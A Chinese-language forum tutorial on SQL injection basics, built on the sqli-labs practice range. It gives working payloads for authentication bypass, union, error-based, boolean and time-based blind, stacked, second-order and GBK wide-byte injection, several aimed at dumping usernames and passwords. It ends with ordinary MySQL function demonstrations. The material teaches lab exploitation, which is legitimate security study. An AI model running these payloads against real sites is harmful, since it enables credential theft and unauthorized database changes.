SQL注入基础篇

本文以sqlI-labs靶场为例子,阐述啦SQL最最最基础的部分,本文为SQL注入 基础篇!可能还会有中级篇。

注:勿喷勿喷勿喷!重要的事情说三遍!

SQL注入 简介

什么是SQL注入

SQL注入是发生在Web程序中数据库层的安全漏洞;SQL注入就是通过把SQL命令插入表单提交或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句。具体来说就是Web应用程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在Web应用程序中事先定义好的SQL语句中添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来欺骗数据库服务器执行非授权的任意查询,从而进一步获取敏感信息。

SQL注入的危害

  1. 网页篡改
  2. 网页挂马
  3. 数据泄露
  4. 数据篡改
  5. webshell
  6. 系统提权

常见的SQL注入点

GET请求中可控参数的URL,比如

http://localhost:222/Less-1/?id=2

可以在'$id'处拼接恶意的SQL语句。后台SQL查询语句:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

#在此处进行SQL注入
http://localhost:222/Less-1/?id=-2' union select 1,database(),user()--+ 

#此时后台执行的语句
SELECT * FROM users WHERE id='-2' union select 1,database(),user()-- ' LIMIT 0,1

POST请求表单中的登录框搜索框,比如

uname=admin&passwd=admin&submit=Submit

可以在$uname,$password处拼接恶意的SQL语句,后台SQL查询语句

$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

#可以注释掉 passwd 来登录,免密码登录
uname=admin'#&passwd=&submit=Submit
#此时后台执行的语句
SELECT username, password FROM users WHERE username='admin' #' and password='' LIMIT 0,1

# 注释后面语句并添加一个永真条件,万能密码登录
uname=admin&passwd=1'||1--+&submit=Submit
#此时后台执行的语句
SELECT username, password FROM users WHERE username='admin' and password='1' ||1#' LIMIT 0,1

# 闭合后面语句并添加一个永真条件,万能密码登录
uname=admin&passwd=1'or'1'='1&submit=Submit
#此时后台执行语句
SELECT username, password FROM users WHERE username='admin' and password='1' or '1'='1' LIMIT 0,1

HTTP头部信息中的注入点

User-Agent处

POST /Less-18/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: 1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1

Referer处

POST /Less-19/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

Cookie:处

GET /Less-20/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: uname=admin' and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)#
Connection: close
Upgrade-Insecure-Requests: 1

验证是否存在注入

通过在Web应用程序中触发错误或布尔逻辑,可以检测易受攻击的参数。True或False语句应通过HTTP状态码或HTML内容返回不同的响应。如果这些响应与查询的True或False性质一致,则表示存在注入。

数字型注入:

http://localhost:222/Less-2/?id=1 and 1=1  #页面显示正确
http://localhost:222/Less-2/?id=1 and 1=2  #页面显示错误

字符型注入:

如何判断闭合符号呢?(假如此处拼接方式是id=('$id')),常见的拼接方式比如',",'),"))等。我们可以尝试替换id的后的闭合符号,同时满足以下的两个条件,就可以确定正确的闭合方式!

http://localhost:222/Less-2/?id=1') and 1=1--+   #页面显示正确
http://localhost:222/Less-3/?id=1') and 1=2--+   #页面显示错误

基本注入语句解析

#查询库
select schema_name from information_schema.schemata
#查询表
select table_name from information_schema.tables where table_schema='db_name' 
#查询列
select column_name from information_schema.columns where table_name='tb_name'
#查询值
select 列名 from db_name.tb_name

information_schema里面会存所有数据库的一些相关信息:


其中SCHEMATA表中的SCHEMA_NAME记录了所有数据库的名字:

TABLES表中的SCHEMA_NAME也记录了数据库的名字,在TABLE_NAME中记录了所有数据库中的表名字:

COLUMNS表中的COLUMN_NAME记录啦表中的的列名:

SQL注入 分类

  • 根据字符类型分类:字符型数字型

  • 根据提交方式分类:GET型POST型HTTP头部(User-Agent 等 ······)

  • 根据执行效果分类:联合注入报错注入布尔盲注时间盲注堆叠注入宽字节注入

联合注入

页面有回显位:服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫回显位。所查询的两个表的列数相同:UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。所以要先确定表的列数,然后找出回显的位置

使用order by来确定前表的列数;以sqli-labs Less-1为例:

http://localhost:222/Less-1/?id=1' order by 3--+

页面显示正确

http://localhost:222/Less-1/?id=1' order by 4--+

页面显示错误,说明有三列


然后就可以找显示位置啦。

http://localhost:222/Less-1/?id=-1' union select 1,2,3--+ 

可以看到2和3显示在啦页面里,只需要把2,3替换为自己想要查询的数据就OK啦。


http://localhost:222/Less-1/?id=-1' union select 1,user(),database()--+

payload

爆出库名
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

爆出表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆出数据
?id=-1' union select 1,2,group_concat(username,password) from security.users--+

报错注入

页面没有显示位置,但是使用啦mysql_error()函数,该函数作用是当数据库中产生错误的时候,会有错误提示,比如语法错误:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ at line 1;这时就可以利用一种手段使查询的信息出现在这些报错的信息中。达到自己的目的。

使用floor(),rand()等函数来进行报错注入;以sqli-labs Less-5为例:

http://localhost:222/Less-5?id=1' and(select * from(select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)a)--+

可以看到爆出的错误中出现啦我们想要的数据

payload

?id=1' and(select * from(select count(*),concat((基本注入语句),floor(rand(0)*2))a from information_schema.tables group by a)a)--+

?id=1' and extractvalue(1,concat(0x7e,(基本注入语句),0x7e))--+  

?id=1' and updatexml(1,concat(0x7e,(基本注入语句),0x7e),1)--+  

?id=1' and(exp(~(select * from(基本注入语句)a)))--+ 

函数 multilinestring() == linestring() == multipolygon() == polygon() == geometrycollection() == multipoint()
?id=1' and multilinestring((select * from(select * from(基本注入语句)a)b))--+

?id=1'and(select * from (select name_const(version(),1),name_const(version(),1))a)--+

布尔盲注

当请求正确时页面显示正常,请求错误时页面无任何信息,根据页面正常和错误来判断语句是否正确执行,然后利用一些函数来对数据进行猜解!

使用length()函数来确定数据的字段长度,这里的数据库名称为security;以sqli-labs Less-8为例:

http://localhost:222/Less-8/?id=1' and(length(database())>9)--+

猜数据库名的长度大于9显示错误,说明数据库的位数小于9,继续猜-

http://localhost:222/Less-8/?id=1' and(length(database())=8)--+

猜解数据库的长度为8,刚好security也是8位数,页面显示正确。


使用substr()ascii()等函数猜解数据库名:

#使用substr()函数
http://localhost:222/Less-8/?id=1' and(substr((select database()),1,1)='s')--+
http://localhost:222/Less-8/?id=1' and(substr((select database()),2,1)='e')--+

payload

猜解数据长度
?id=1' and(select length(schema_name) from information_schema.schemata limit 4,1)=8--+
猜解数据名称
?id=1' and left((select database()),1)='s'--+
?id=1' and right((select database()),1)='y'--+
?id=1' and mid((select database()),1,8)='security'--+
?id=1' and substr((select schema_name from information_schema.schemata limit 4,1),1,1)='s'--+
?id=1'and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))=115--+

时间盲注

页面无任何变化,只能根据页面响应的时间来判断执行的语句是否正确!

使用sleep()函数延长SQL语句查询的时间来判断是否存在注入;以sqli-labs Less-10为例:

http://localhost:222/Less-10?id=1" and if(1=1,sleep(3),1)--+

可以看到SQL语句正确的时候页面响应时间为3秒多

http://localhost:222/Less-10?id=1" and if(1=2,sleep(3),1)--+

而SQL语句逻辑错误的时候页面响应时间明显的缩短


然后利用布尔盲注语句来进行数据猜解:

http://localhost:222/Less-10?id=1" and if(substr((select database()),1,1)='s',sleep(3),1)--+

响应时间为3秒多,说明当前使用的数据库的名称第一位字母是s:

payload()

只是在布尔盲注语句基础上加啦if(基本语句,sleep(3),1)语句进行延时来判断语句TRUE/FALSE
?id=1" and if(length((select schema_name from information_schema.schemata limit 4,1))=8,sleep(3),1)--+
?id=1" and if(mid((select schema_name from information_schema.schemata limit 4,1),1,8)='security',sleep(3),1)--+

堆叠注入

将语句堆叠在一起进行查询,原理很简单,mysql_multi_query() 支持多条sql语句同时执行,使用;分隔,成堆的执行sql语句。

使用来分割语句;以sqli-labs Less-38为例:

?id=1';insert into users values(15,'admintest','admintest');--+

向数据表中新添加一个用户,当然也可以修改其他用户的用户名和密码:

二次注入

以sqli-labs Less-24为例:

代码分析

  • index.php

主要记录了表单相关的信息,没有啥敏感代码,当做 Index.html 来看待就可以了

  • failed.php

检测会话,如果 cookie 里面没有 Auth 参数的话,就跳转到 index.php

  • forgot_password.php

简单提示:如果你忘记密码 请 hack it

  • Logged-in.php

登录后的信息展示,显示登录名称并且提供了修改密码的表单

  • new_user.php

创建新用户的表单页面,本文件主要存放前段代码。

  • login_create.php

创建新用户的后端代码,下面来简单理一下代码的流程:

# 接受用户提交的用户名和密码值 并进行 mysql 安全函数转义
username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

# 查询当前用户信息

$sql = "select count(*) from users where username='$username'";
如果当前用户已经存在 无法注册

if 两次输入密码一致:
  # 将记录插入数据库中
  $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
    查询完成后 重定向到首页
else:
    提示两次输入密码不一致
  • login.php
# 登录用户名和密码都被过滤了
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
  • pass_change.php
if 检测未登录:
    重定向到首页
if 检测到提交表单:
  # 对 pass 都进行了过滤
  $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);

    if 两次密码一致:
        # 直接将 username 拼接到 SQL 语句
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    else:
        提示密码不一致 并重定向到 fail.php

思路分析

从代码上来看貌似都被转义了,乍一看是成功注入的。实际上的确不能使用常规的思路来进行注入,因为这题是二次注入,ISCC 2019 当时使用这题的考查点是修改掉 admin 用户的密码,然后再登录即可。假设不知道 admin 用户的情况下,想要修改掉 admin 用户的密码的话,这里就使用的是二次注入的姿势了。

二次注入 简单概括就是黑客精心构造 SQL 语句插入到数据库中,数据库报错的信息被其他类型的 SQL 语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为,这个就是二次注入。

先看创建用户的地方:

username =  mysql_escape_string($_POST['username']) ;

username 被 mysql_escape_string 函数过滤了,该函数的作用如下:

危险字符 转义后
\ \\
' \'
" \"

再看下更新密码的核心语句:

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

这里直接使用单引号拼接了 username 所以当 username 可控的话 ,这里是存在SQL注入的,假设用户注册的 username 的值为:admin'#,那么此时的完整语句就为:

UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

此时就完全改变了语义,直接就修改掉了 admin 用户的密码。

步骤演示

常见一个admin'#开头的用户名,下面列举的几种都可以,以此类推,很灵活:

admin'#1
admin'#233
admin'#gg
...

注册完成后数据库的记录信息如下:

mysql> select * from users;
+----+---------------+------------+
| id | username         | password   |
+----+---------------+------------+
| 20 | admin'#hacker | 111            | 
+----+---------------+------------+

成功添加了记录,这里单引号数据库中中看没有被虽然转义了,这是因为转义只不过是暂时的,最后存入到数据库的时候还是没变的。

接下来登录 admin'#hacker 用户,然后来修改当前的密码:

此时来数据库中查看,可以发现成功修改掉了 admin 用的密码了:

mysql> select * from users;
+----+---------------+------------+
| id | username      | password    |
+----+---------------+------------+
|  8 | admin            | 233             |
| 20 | admin'#hacker | 111         |
+----+---------------+------------+

宽字节注入

Less-32

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id='$id'

考察 Bypass addslashes(),关键的防护代码如下:

if(isset($_GET['id']))
$id=check_addslashes($_GET['id']);

# 在' " \ 等敏感字符前面添加反斜杠
function check_addslashes($string)
{        # \ 转换为 \\
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          将       # 将 ' 转为\"
    $string = preg_replace('/\'/i', '\\\'', $string);   
      # 将 " 转为\"
    $string = preg_replace('/\"/', "\\\"", $string);                                
    return $string;
}

宽字节注入原理

MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。

  1. %df 吃掉 \

具体的原因是 urlencode(\') = %5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c 当做是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

  1. \' 中的 \ 过滤掉

例如可以构造 %5c%5c%27 的情况,后面的%5c会被前面的%5c 给注释掉。这也是 bypass 的一种方法。

本关卡采用第一种 %df 宽字节注入来吃掉反斜杠,下面直接丢 payload

?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

SQL注入 函数

信息收集

函数 作用
user() 系统用户和登录主机名
database() 当前使用的数据库名称
version() 当前数据库服务器版本信息
@@hostname 数据库的机器名
uuid() 数据库的MAC地址查询
@@datadir; 数据库路径
@@version_compile_os 操作系统

使用下面这两张表来学习一下常用函数的作用:

数据库demo,表a

id name grades
201 xh 98
202 xa 99
203 xd 60
204 xf 58
205 as 100
220 xx 99

数据库demo,表b

number name grades id
2018 we 100 3
2019 qw 67 4
2020 qa 68 8
2021 fg 36 2
2022 df 23 1
2023 bv 12 9

union

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。

mysql> select name,grades from a union select name,1 from b;
+------+--------+
| name | grades |
+------+--------+
| xh   |     98 |
| xa   |     99 |
| xd   |     60 |
| xf   |     58 |
| as   |    100 |
| xx   |     99 |
| we   |      1 |
| qw   |      1 |
| qa   |      1 |
| fg   |      1 |
| df   |      1 |
| bv   |      1 |
+------+--------+
12 rows in set (0.00 sec)

order by

ORDER BY 语句用于根据指定的列对结果集进行排序。默认按照升序对记录进行排序。

mysql> select grades from a order by grades;
+--------+
| grades |
+--------+
|     58 |
|     60 |
|     98 |
|     99 |
|     99 |
|    100 |
+--------+
6 rows in set (0.00 sec)


#这里很清楚的可以看到如何使用order by来判断列数
mysql> select * from a where grades=60;
+-----+------+--------+
| id  | name | grades |
+-----+------+--------+
| 203 | xd   |     60 |
+-----+------+--------+
1 row in set (0.00 sec)

mysql> select * from a where grades=60 order by 3;
+-----+------+--------+
| id  | name | grades |
+-----+------+--------+
| 203 | xd   |     60 |
+-----+------+--------+
1 row in set (0.00 sec)

mysql> select * from a where grades=60 order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'

group by

GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组。在分组的列上我们可以使用 COUNT, SUM, AVG,等函数。

接下来我们使用 GROUP BY 语句 将数据表按成绩进行分组,并统计每个成绩有多少条记录:
mysql> select grades,count(*) from a group by grades ;
+--------+----------+
| grades | count(*) |
+--------+----------+
|     58 |        1 |
|     60 |        1 |
|     98 |        1 |
|     99 |        2 |
|    100 |        1 |
+--------+----------+
5 rows in set (0.00 sec)

count()

count()函数返回指定列的值的数目(NULL 不计入):

mysql> select count(name) from a;
+-------------+
| count(name) |
+-------------+
|           6 |
+-------------+
1 row in set (0.00 sec)

concat()

concat()函数用于连接两个字符串,形成一个字符串。

mysql> select concat('hello','-','MySQL');
+-----------------------------+
| concat('hello','-','MySQL') |
+-----------------------------+
| hello-MySQL                 |
+-----------------------------+
1 row in set (0.00 sec)

mysql> select concat(name,'-',grades) from a;
+-------------------------+
| concat(name,'-',grades) |
+-------------------------+
| xh-98                   |
| xa-99                   |
| xd-60                   |
| xf-58                   |
| as-100                  |
| xx-99                   |
+-------------------------+
6 rows in set (0.00 sec)

concat_ws()

同concat()一样,不过可以指定分割符号;

mysql> select concat_ws('-',name,grades) from a;
+----------------------------+
| concat_ws('-',name,grades) |
+----------------------------+
| xh-98                      |
| xa-99                      |
| xd-60                      |
| xf-58                      |
| as-100                     |
| xx-99                      |
+----------------------------+
6 rows in set (0.00 sec)

mysql> select concat_ws('~',name,grades) from a;
+----------------------------+
| concat_ws('~',name,grades) |
+----------------------------+
| xh~98                      |
| xa~99                      |
| xd~60                      |
| xf~58                      |
| as~100                     |
| xx~99                      |
+----------------------------+
6 rows in set (0.00 sec)

group_concat()

group_concat()函数返回一个字符串结果,该结果由分组中的值连接组合而成。

mysql> select group_concat(name) from a;
+--------------------+
| group_concat(name) |
+--------------------+
| xh,xa,xd,xf,as,xx  |
+--------------------+
1 row in set (0.00 sec)

mysql> select group_concat(name,'-',grades) from a;
+--------------------------------------+
| group_concat(name,'-',grades)        |
+--------------------------------------+
| xh-98,xa-99,xd-60,xf-58,as-100,xx-99 |
+--------------------------------------+
1 row in set (0.00 sec)

floor()

floor()函数返回小于等于该值的最大整数.

mysql> select floor(1);
+----------+
| floor(1) |
+----------+
|        1 |
+----------+
1 row in set (0.00 sec)

mysql> select floor(1.8);
+------------+
| floor(1.8) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(-1.8);
+-------------+
| floor(-1.8) |
+-------------+
|          -2 |
+-------------+
1 row in set (0.00 sec)

rand()

rand()函数产生一个在 0 和 1 之间的随机数;当使用整数作为参数调用时,rand()使用该值作为随机数的种子发生器。每次种子使用给定值生成,rand()将产生一个可重复的系列数字。使用floor(rand(0)*2)报错原理探究:https://www.freebuf.com/column/235496.html

mysql> select rand(),rand(),rand();
+-----------------------+--------------------+--------------------+
| rand()                | rand()             | rand()             |
+-----------------------+--------------------+--------------------+
| 0.0038789194113378594 | 0.8006417348986881 | 0.9915719469930715 |
+-----------------------+--------------------+--------------------+
1 row in set (0.00 sec)

mysql> select rand(1),rand(1),rand(1);
+---------------------+---------------------+---------------------+
| rand(1)             | rand(1)             | rand(1)             |
+---------------------+---------------------+---------------------+
| 0.40540353712197724 | 0.40540353712197724 | 0.40540353712197724 |
+---------------------+---------------------+---------------------+
1 row in set (0.00 sec)

sleep()

延长查询数据消耗的时间

mysql> select * from a;
+-----+------+--------+
| id  | name | grades |
+-----+------+--------+
| 201 | xh   |     98 |
| 202 | xa   |     99 |
| 203 | xd   |     60 |
| 204 | xf   |     58 |
| 205 | as   |    100 |
| 220 | xx   |     99 |
+-----+------+--------+
6 rows in set (0.00 sec)
查询6条数据每条数据消耗3秒,6条数据全部查完消耗18秒
mysql> select *,sleep(3) from a;
+-----+------+--------+----------+
| id  | name | grades | sleep(3) |
+-----+------+--------+----------+
| 201 | xh   |     98 |        0 |
| 202 | xa   |     99 |        0 |
| 203 | xd   |     60 |        0 |
| 204 | xf   |     58 |        0 |
| 205 | as   |    100 |        0 |
| 220 | xx   |     99 |        0 |
+-----+------+--------+----------+
6 rows in set (18.00 sec)

mid()

mid()函数返回从指定位置开始的子字符串。

mysql> select mid('hello-word',1,4);
+-----------------------+
| mid('hello-word',1,4) |
+-----------------------+
| hell                  |
+-----------------------+
1 row in set (0.01 sec)

mysql> select mid('hello-word',3);
+---------------------+
| mid('hello-word',3) |
+---------------------+
| llo-word            |
+---------------------+
1 row in set (0.00 sec)

left(),right()

left()函数返回从左侧开始的字符串

right()函数返回从右侧开始的字符串

mysql> select left('hello-word',2);
+----------------------+
| left('hello-word',2) |
+----------------------+
| he                   |
+----------------------+
1 row in set (0.00 sec)

mysql> select right('hello-word',2);
+-----------------------+
| right('hello-word',2) |
+-----------------------+
| rd                    |
+-----------------------+
1 row in set (0.00 sec)
2 个赞

服务器资源由ZeptoVM赞助

Partners Wiki Discord